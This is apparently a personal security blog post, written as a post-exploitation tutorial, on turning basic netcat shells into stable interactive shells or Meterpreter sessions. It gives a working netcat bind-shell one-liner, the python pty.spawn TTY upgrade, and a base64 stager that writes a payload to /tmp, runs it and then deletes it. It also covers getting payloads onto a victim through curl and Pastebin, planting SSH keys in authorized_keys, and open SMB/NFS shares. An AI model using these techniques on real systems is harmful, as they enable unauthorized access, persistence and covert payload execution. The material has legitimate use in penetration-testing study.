I still remember the days when i played FIFA with friends on PS2. My virtual football skills could only be matched by my real-life football skills and it was not uncommon for me to mash the controllers on my way to the wide open goal only to kick the ball out of the field because i did not know the button to kick and score.
This is exactly how i felt like the first time i got a primitive shell on a host or got admin access to some machine through some exploit. What now? Regarding the first case, i am sure you have found yourself in a situation where you had a simple shell (e.g. netcat) where you could not see any errors on commands, text editing was a mirage and the compilation and execution of a simple local privilege elevation exploit made the Riemann Hypothesis look like child’s play.
While i always found ways to overcome the shell problem, they were not so clean and professional even though i will mention them at the end of this blog post.
While surveying existing posts and books on the topic i ran into:
- RopNop Blog: Upgrading simple shells to fully interactive ttys
- PentestMonkey: Reverse shell cheat sheet, Exploitation without a tty
- GnuCitizen: Reverse shell with bash
- Bernardo Damele: Reverse shell one-liners
- Null-byte: Upgrade normal command shell to Metasploit meterpreter and Netcat-To-Meterpreter
- RTFM: Red Team Field Manual
- Swisskyrepo: Reverse Shell Cheat Sheet
There is no shortage of possible ideas that can be simplified down to:
- Using Msfvenom (or a cheat-sheet) to generate a command that can be ran on the machine depending on what you can use off the land (e.g. pty.spawn if Python is installed)
- Use post/multi/manage/shell_to_meterpreter to go from a dumb shell session to Meterpreter.
Meterpreter aside, the approaches that use bash or programming language capabilities to attach to shells and redirect inputs and outputs are still limited in the sense that as soon as you try to edit files the whole arrangement goes to hell in a handbasket:
Behold the tiny nano window (get it?):
And then i was forced to Ctrl-C my way out of this mess which killed the session. They can’t find you if there is no session, right?
RopNop mentions the following approach which i have seen on several other posts and is which is by far my favorite option because it works (almost fully) off the land:
# In reverse shell python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z # suspend process responsible for establishing remote shell # On attacker machine echo $TERM ; stty -a # take note of the number of rows and columns stty raw -echo #input to local terminal will not be processed or echoed and will be passed along fg # foreground remote shell process # Back to reverse shell reset # enter also works export SHELL=bash ; export TERM=xterm-256color #sets default shell and terminal (may not be necessary) #The command below adjusts the rows and columns of the underlying #terminal (server side) to match yours so that you don't see cut #lines or text overwriting stty rows rows_num_from_stty-a columns cols_num_from_stty-a
What i noticed was that in all posts about this method, pty.spawn was the initial command which made Python a necessity. According to the documentation on pty.spawn:
The master_read callback is passed the pseudoterminal’s master file descriptor to read output from the child process, and stdin_read is passed file descriptor 0, to read from the parent process’s standard input.
Reading the source code makes things a bit more clear:
- Chooses a pty under /dev/pty and opens that file twice creating two file descriptors (master and slave)
- Forks and the child process will have STDIN, STDOUT and STDERR overwritten with slave file descriptor. All writes and reads are done on chosen tty
- Child process will then execute the chosen binary (e.g. /bin/bash) and the new child process will replace the old child process
- Parent process responsible for manipulating the master descriptor reads from STDIN (user commands) and writes the commands (in raw mode) to the pty (through the master descriptor) and/or reads from the master descriptor and writes it back to the user (i.e. acts as a middleman)
- The child process (now /bin.bash) reads commands from master through slave descriptor, executes them and writes back the responses through the same descriptor
Of all the approaches mentioned above, this one seems to be the only one that can provide a stable shell for the attacker. I have tried to perform the commands above but starting with a netcat bind shell:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 127.0.0.1 9000>/tmp/f
With this, you:
- can edit files and save them
- can’t run stty because the /bin/bash input is a file and not a terminal. This means that any large inputs to the console will most likely cause overflows and overwrites. File listings will not be better
- cant’s use sudo commands since Password prompt will appear on the server instead on the local attacker machine
The reason for the behaviors above is that some commands like sudo and stty expect to be typed from a terminal and not read from a pipe:
Even if you try to use screen, the latter will still complain that a terminal is needed. In the absence of Python (up to the time of writing of this post), the best alternative i could find to obtain a better shell is the one i marked in bold above (i.e. Use post/multi/manag…).
Upgrading Shell Using Metasploit
There are multiple ways to go about it and unfortunately, while on some of the blog posts above, all went well, in my case i ran into some issues sometimes. This could be because i did not exploit any vulnerability to create the session and started the session on the “victim” using the netcat command mentioned above (replace 127.0.0.1 with public server IP).
Using Metasploit’s Shell Upgrading Modules
Disclaimer: It is possible that the server port may change with the commands. The reason for this is because i used a Ubuntu VM and was testing multiple approaches without reverting snapshots and/or cleaning sessions.
First, we need to create the local handler (assuming a netcat bind shell on port 9000):
Then, we Ctrl+Z to send the session to background upgrade it using the following shortcut:
When i first ran this shortcut i ran into: “Error: Unable to execute the following command” which has been reported on GitHub (removed the -i from /bin/bash and still did not work):
When you manage to establish the simple connection mentioned above, run some commands like id and ls to get the input/output going. The reason i mention this is because i noticed that sometimes, after establishing the initial connection, the first commands return some output and some garbage. This could explain why the stager script did not work. Note that with -u, the local port for the handler is 4433 by default. Make sure you don’t have other handlers/processes attached to that port.
Assuming the command above leads to the error i mentioned, try to perform what -u performs manually:
Once more, the first time i ran the sequence above, i ran into the error “Shells on the target platform, linux cannot be upgraded to Meterpreter at this time“. Assuming you face these two issues, we need to generate the payload and push it to the server manually.
The Fallback: Uploading The Payload To The Server
If you fail to upgrade your current shell using Metasploit’s automated means, you need to find a workaround. Some suggestions follow. Mind you that i use Meterpreter and Payload interchangeably.
On the server:
On the client:
In my case, the client hanged but when i checked the size of the file on the server, it was correct. Then i created the local handler and ran the malware through the netcat shell:
- /bin/bash: line 7: ./mal: Permission denied: run chmod +x ./mal
- /bin/basg: line 9: ./mal: Text file is busy: either kill the nc on the server or copy the mal file to the same folder with a different name. This happens because the copy hanged and there is some handler open for the file. Netcat was likely expecting some terminator, could not find it and it is still hanging on to the “unfinished” file.
Metasploit has a module to push executable files through existing sessions and run them:
Pushing Meterpreter Through Alternative Channels
You don’t have Netcat and Metasploit modules to upgrade shell seem to be failing? As a Portuguese, my first line of defense when i find myself in these predicaments is complaining. Asking “why me?”, blaming it on the government, the weather, the dog barking outside and the passé paint color on the living room wall. Once the rage is out of my chest, some alternatives come up:
- Assuming the server has FTP active and you can logon: upload your file to the server and then execute it through the active shell
- Modify the .ssh/authorized_keys file: for the user you are running the shell under and add an SSH key so you can access the machine remotely through SSH. Check /etc/passwd to see if the user supports a shell (e.g. service user like mysql), otherwise, you will not be able to logon through SSH
- Find some “open” SMB /NFS either on the network or on the host: upload your file, mount the share and/or execute the payload if the share is already mounted
- Stringify the payload, get it in the machine, decode and execute. Getting the payload in the machine can be done using:
- CURL and Pastebin
- echo “[PAYLOAD]” > FILE on your active shell (it may break the session due to limitations on console buffers)
How do we go about turning our payload into a string and then execute it on the victim? base64 is always a great start and we can learn from Metasploit:
echo -n [BASE64_PAYLOAD] >>'/tmp/hvQlm.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tgxVT' < '/tmp/hvQlm.b64' ; chmod +x '/tmp/tgxVT' ; '/tmp/tgxVT' ; rm -f '/tmp/tgxVT' ; rm -f '/tmp/hvQlm.b64'
On the local host:
Plug this in the above script and If you are lucky enough, you will get a shell, if the session breaks, you may need to break the command in smaller chunks. In my case, i had to run the echo first and then the decoder up until the point chmod is called. After that, you can execute the binary and see a connection on Metasploit or your C2.
What if the command above does not work? Let’s use hex string instead and simpler commands (note that i had the corrupted header size with netcat transfer as well and it worked):
There are multiple tools that can be used to play around with hex and binary representations such as hexdump and od. This increases the chances that you will be able to upload and execute your payload.
What about Windows? Most of the techniques i mentioned can be easily applied to Windows machines. Mind you that pty.spawn from Python is Linux specific since it operates on pty.
Most people start with a problem and try to find a solution for it while i swing between that approach and the reverse. While writing this post i realized that i usually don’t sweat too much over something that does not work. If a tool fails, i either make my own tool or find another way and so all the solutions i proposed above can be used for the main topic of this post and others.
Having a shell on a host is as good as the degree of flexibility it offers you. As such, upgrading from a basic netcat or similar shell to a full blown Meterpreter or at least a solid SSH connection is a must. It became clear from my initial research that at the time of writing and to the best of my knowledge, you are better off trying to get some more advanced payload (e.g. Meterpreter) on the host rather than fumbling around with primitive shells that pipe input and output to and from a shell like bash. You will always be a Ctrl+C away from exiting the scene.
Stay safe 😉